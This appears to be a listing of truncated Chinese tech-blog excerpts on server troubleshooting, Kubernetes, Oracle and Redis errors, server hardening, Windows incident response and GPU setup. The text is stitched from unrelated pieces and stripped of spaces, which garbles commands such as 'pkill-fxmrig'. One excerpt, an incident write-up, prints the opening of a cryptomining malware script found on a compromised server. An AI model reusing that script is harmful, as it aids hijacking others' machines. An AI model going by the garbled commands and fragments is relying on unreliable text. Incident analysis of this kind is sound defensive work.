CPU/堆/类/线程根据服务部署和项目架构，从如下几个方面排查：（1）运用服务器：排查内存，cpu,请求数等；（2）文件图片服务器：排查内存，cpu,请求数等；（3）计时器服务器：排查内存，cpu,请求数等；（4）redis服务器：排查内存，cpu,连接数等；（5）db服务器：排查内存，cpu,连接数等；在秒杀后30分钟内，1.运用程序服务器cpu暴增，内存暴增，造成cpu和内存暴增的根本原因是请求数过高，单台运用服务器达到3000多；2.redis请求超时3.jdbc连接超时4.通过gc查看，发现24小时内，FullGC发生了152次5.再看看堆栈，发现有一些线程阻塞和死锁jstat-lpi
初步判断一个pod一开始创建的时候，它本身就是会处于pending状态，这时可能是正在拉取镜像，正在创建容器的过程。如果等了一会发现pod一直处于pending状态，那么我们可以使用kubectldescribe命令查看一下pod的Events详细信息。一般可能会有这么几种情况导致pod一直处于pending状态：1、调度器调度失败。Scheduer调度器无法为pod分配一个合适的node节点。而这又会有很多种情况，比如，node节点处在cpu、内存压力，导致无节点可调度；pod定义了资源请求，没有node节点满足资源请求；node节点上有污点而pod没有定义容忍；pod中定义了亲和性或反亲和
Oracle查询提示ORA-00933:SQLcommandnotproperlyended原因排查问题描述问题排查与解决问题描述一段sql语句，在postgre数据库中运行未出现问题，切换到oracle数据库后报错。SQL语句如下selectT.codeasCODEfrominfo_tableasT在oralcle执行后报如下错误>ORA-00933:SQLcommandnotproperlyended问题排查与解决在网上查询了该报错之后看到了如下信息出现这个错误的情况还是挺多的，当抛出此错误提示信息，代表着SQL语句本身就是有问题的！（ORA-00933:SQL命令没有正确的结束）比如：1
背景：服务中的应用全部通过docker的方式进行部署，部署的应用有mysql、redis、zookeeper、kafka、elasticsearch、tomcat问题：将elasticsearch启动后，cpu突然飙升到100%，内存飙升到96%，见下图阿里云控制台截图 排查过程：①使用top命令，按P，将进程按照cpu使用率进行排序，发现是某个java进程占用96.3%的cpu。但是，过几秒，这个java进程就会消失，同时cpu会降到正常水平，再过几秒会出现另一个高占用率的java进程。导致无法按照传统的方式进行排查。 ②由于所有应用都是使用docker部署的，所以考虑使用dockersta
一、背景在今天上午的时候，突然收到大量的sentry报错，都是关于redis连接超时的警告。首先想到的是去查看redis的监控，发现那个时间段，redis的请求数剧增，cpu使用率和带宽都陡增双倍。下面的是redis监控的cpu情况最后贴一张redis的流量到目前为止，可以看到redis的压力确实上来了。随之，阿里云也给我们发来告警，说redis连接超时，导致主从切换。于是，我们推测是程序的访问量剧增，接口中都又依赖redis，导致访问redis的请求等陡增。当然，至于为什么会发生，是不是就是redis出问题了呢？最后又应该怎么调整？是调整程序，还是加大redis的配置？二、监控从监控大盘能看
安全是IT行业一个老生常谈的话题了，从之前的“棱镜门”事件中折射出了很多安全问题，处理好信息安全问题已变得刻不容缓。不掉坑，不背锅！史上最全的服务器安全管理规范开源了。因此做为程序员，就必须了解一些安全准则，同时，要保护自己所负责的业务，首先要站在攻击者的角度思考问题，修补任何潜在的威胁和漏洞。这是一篇长文，建议大家细细品读一下，必定有不少收获，学习时需要静心，放下心里的浮躁。本文主要分为如下五部分展开：账户和登录安全远程访问和认证安全文件系统安全Linux后门入侵检测工具服务器遭受攻击后的处理过程账户和登录安全账户安全是系统安全的第一道屏障，也是系统安全的核心，保障登录账户的安全，在一定程度
Windows应急响应应急响应的重要性开机启动项temp文件分析浏览器信息分析文件时间属性分析最近打开文件分析进程分析计划任务隐藏账户的发现添加与删除恶意进程发现及关闭补丁信息webshell查杀应急响应的重要性近年来信息安全事件频发，信息安全的技能、人才需求大增。现在，不管是普通的企业，还是专业的安全厂商，都不可避免的需要掌握和运用好信息安全的知识、技能，以便在需要的时候，能够御敌千里。所谓养兵千日，用兵一时，拥有一支完善的团队或完整的流程，可以保障企业在出现重大安全事件时，能有条不紊的进行处置，及时把破坏范围缩小。且在即将开始的护网中，应急响应也是其中非常重要的一环，学好应急响应能让你在面
安装教程（系统、NVIDIA驱动、CUDA、CUDNN、Pytorch、Timeshift、ToDesk、花生壳）制作U盘启动盘，并安装系统在MSDNitellyou下载Ubuntu20.04Desktop版本，并使用Rufus制作UEFI启动盘，参考UEFI安装Ubuntu使用GPT+UEFI模式安装，记得更改主板选项LegacytoEFIsupport为enable安装NVIDIA显卡驱动先参考Ubuntu20.04下深度学习环境配置，配置apt-get换国内阿里源参考Ubuntu18-22.04安装和干净卸载nvidia显卡驱动——超详细、最简单中的方法二，使用系统自带的“软件和更新”程
起因阿里云安全中心报告了告警信息，同时手机短信、邮件、电话也接收到了来自阿里云的风险通知，感觉这方面阿里云还是不错。排查及解决过程这条wget指令究竟是怎么被运行的我无法定位到攻击人员是通过什么样的方式让我的java程序执行了wget这条指令的，已开始我以为跟我的程序中引用的jar远程代码执行漏洞有关，我找了可能会有这个漏洞的两个程序，log4j和jackson，但是我的程序里面使用的均是修复了之后的版本，所以暂时原因未知病毒脚本解释首先我下载了这个病毒脚本，他的内容如下。仅用于展示，请勿传播病毒程序#!/bin/sh{pkill-fxmrig||kill-9$(pgrep-f'xmrig')
背景废话少说,在新建一个jenkins流水线时,碰到了打包死活无法成功的问题,相关配置如下图运行后最后的日志如图定位问题通过查看日志,发现报错的模块是构建后执行shell的时候,但是由于我的shell没有输出,还不明确是哪行出的问题.仔细观察了下shell,发现并没有任何的语法与逻辑问题,这就让我感到有点奇怪了:真的是执行shell出错了吗?这么简单的shell在哪出错的?通过看jenkins日志,连问题出在哪都不太明确,所以我到应用服务器上确认下,通过查看jar包的更改时间,发现jar包已经被更新;再通过ps-ef查看进程,发现没有这个jar包对应的进程;查看日志文件,发现应该被重命名的日志
